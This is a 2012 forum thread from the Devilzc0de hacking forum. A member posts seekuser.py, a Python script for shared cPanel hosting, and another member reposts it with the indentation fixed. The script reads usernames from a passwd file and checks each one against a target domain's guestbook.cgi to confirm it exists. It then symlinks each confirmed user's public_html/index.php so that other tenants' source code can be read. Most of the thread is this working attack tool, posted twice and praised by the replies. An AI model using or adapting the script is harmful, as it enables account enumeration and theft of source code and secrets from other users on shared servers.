Devilzc0de Forum Follow @devilzc0de
  • Home
  • Hacking
  • Networking
  • Programming
  • O.S
  • Server
  • Tweets
  • Search
  • Member List
  • Calendar
Current time: 05-20-2013, 06:24 AM Hello There, Guest! (Login — Register)
Devilzc0de Forum › Information Technology › Programming › Python v
« Previous 1 2 3 4 Next »

seekuser.py

Home General Computer Multimedia Business Lounge

Post Reply 
Tweet
Threaded Mode | Linear Mode
seekuser.py
02-17-2012, 05:00 AM (This post was last modified: 02-17-2012 05:03 AM by ev1lut10n.)
Post: #1
ev1lut10n Offline
./Devilz Officer
Posts: 239
Joined: Aug 2011
Reputation: 82
seekuser.py
krn indent bergeser otomatis silahkan direparasi sendiri
Code:
#!/usr/bin/python
#seek user for a domain and auto symlink index.php inside cpanel hosting environment
#c0d3r: ev1lut10n
#thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun
#this will works on path of users: /home/username/public_html
#and all devilzc0de members
#special thanks: merikenin for giving me inspiration
#blog: http://myw1sd0m.blogspot.com
#site : http://jasaplus.com
#site : http://flightinformationdisplay.com
#gopher: gopher://sdf.org/1/users/wisdomc0
#gopher: gopher://sdf.org/1/users/ev1lut10
import os
import urllib
import httplib
import string
import sys
import random
import time
domain_target="hackers.com"
passwd_file="passwd.txt"
salah="Invalid"
user=""
if len(sys.argv) <=1:
    print "Usage: ./seekuser.py passwd_file targetdomain.com"
    print "Ex: ./seekuser.py /etc/passwd hackers.com"
    sys.exit(1)
else:
    passwd_file = sys.argv[1]    
    domain_target=sys.argv[2]
try:
  fd = open(passwd_file)
except:
  print "Sorry failed to open "+passwd_file
  sys.exit(1)
content = fd.readline()
while (content != ""):
      content.replace( "\n", "" )
      content = fd.readline()
      content=content.strip()
      arkon=content.split(':')
      user=arkon[0]
      if user != "" :
            print "testing "+user+" on:"+ domain_target
        url="http://"+domain_target+"/cgi-sys/guestbook.cgi?user="+user
        response=urllib.urlopen(url)
            res = response.read()
        if salah not in res:
            
            print "[+] W00t found : " + user + " for domain : "+domain_target
        os.system ("echo "+user+" > username_of_"+domain_target)
        print "creating symlink for /home/"+user+"/public_html/index.php"
        print "on success you can read the source code on: index_of_"+domain_target+".txt"
        os.system("ln -s /home/"+user+"/public_html/index.php index_of_"+domain_target+".txt")
            fd.close
        sys.exit(1)
Find all posts by this user
Quote this message in a reply
 Reputed by :  zuckerberg(+1) , Fauzi Topan(+1) , ketek(+1)
02-17-2012, 06:04 AM
Post: #2
Fauzi Topan Offline
PacarNya Yuki Kato
Posts: 314
Joined: Nov 2011
Reputation: 55
RE: seekuser.py
keren bang mantap

aku izin bantuin benerin indentnya ya
Code:
#!/usr/bin/python
#seek user for a domain and auto symlink index.php inside cpanel hosting environment
#c0d3r: ev1lut10n
#thanks to: x-hack.danzel,flyff666,petimati,ketek,romeo,tabun
#this will works on path of users: /home/username/public_html
#and all devilzc0de members
#special thanks: merikenin for giving me inspiration
#blog: http://myw1sd0m.blogspot.com
#site : http://jasaplus.com
#site : http://flightinformationdisplay.com
#gopher: gopher://sdf.org/1/users/wisdomc0
#gopher: gopher://sdf.org/1/users/ev1lut10
import os
import urllib
import httplib
import string
import sys
import random
import time
domain_target="hackers.com"
passwd_file="passwd.txt"
salah="Invalid"
user=""
if len(sys.argv) <=1:
    print "Usage: ./seekuser.py passwd_file targetdomain.com"
    print "Ex: ./seekuser.py /etc/passwd hackers.com"
    sys.exit(1)
else:
    passwd_file = sys.argv[1]    
    domain_target = sys.argv[2]
try:
    fd = open(passwd_file)
except:
    print "Sorry failed to open "+passwd_file
    sys.exit(1)
    
content = fd.readline()
while (content != ""):
    content.replace( "\n", "" )
    content = fd.readline()
    content = content.strip()
    arkon = content.split(':')
    user = arkon[0]
    if user != "" :
        print "testing " + user + " on:" + domain_target
    url = "http://" + domain_target + "/cgi-sys/guestbook.cgi?user=" + user
    response = urllib.urlopen(url)
    res = response.read()
    if salah not in res:
        print "[+] W00t found : " + user + " for domain : " + domain_target
        os.system ("echo " + user + " > username_of_" + domain_target)
        print "creating symlink for /home/" + user + "/public_html/index.php"
        print "on success you can read the source code on: index_of_" + domain_target + ".txt"
        os.system("ln -s /home/" + user + "/public_html/index.php index_of_" + domain_target + ".txt")
fd.close
sys.exit(1)
http://pastebin.com/WLcPUgwm
Visit this user's website Find all posts by this user
Quote this message in a reply
 Reputed by :  ketek(+1)
02-17-2012, 07:43 AM
Post: #3
yusufelirhab Offline
./Devilz 1st Cadet
Posts: 36
Joined: Oct 2011
Reputation: 0
RE: seekuser.py
wah....
ni script buat apaan ya

suramsuramsuram
Visit this user's website Find all posts by this user
Quote this message in a reply
02-17-2012, 08:51 AM
Post: #4
ev1lut10n Offline
./Devilz Officer
Posts: 239
Joined: Aug 2011
Reputation: 82
RE: seekuser.py
anu mas bro dibaca sourcenya ntar paham manfaatnya
Find all posts by this user
Quote this message in a reply
02-22-2012, 11:45 PM
Post: #5
tukang.becak.ngebut Offline
./Devilz 1st Cadet
Posts: 3
Joined: Feb 2012
Reputation: 0
RE: seekuser.py
/cgi-sys/guestbook.cgi?user=

hihihihihi... i luv python...
Find all posts by this user
Quote this message in a reply
« Next Oldest | Next Newest »
Post Reply 


Topic Tools
Topic Link :
BBCode :
HTML Code :
View a Printable Version Send Thread to a Friend Subscribe to this thread
Submit Google Submit Face book Submit to Digg Submit to Reddit Submit to Furl Submit to Del.icio.us Submit to Jeqq

Users Browsing
1 Guest(s)

  • Contact Us
  • devilzc0de
  • Return to Top
  • Mobile Version
  • RSS Syndication
  • Help
Current time: 05-20-2013, 06:24 AM Powered By MyBB, © 2002-2013 MyBB Group. Theme created by Justin S. | Mixed By Chaer.Newbie | Fixed By Aditya

USING THIS SITE INDICATES THAT YOU HAVE READ AND ACCEPT OUR TERMS. IF YOU DO NOT ACCEPT THESE TERMS, YOU ARE NOT AUTHORIZED TO USE THIS SITE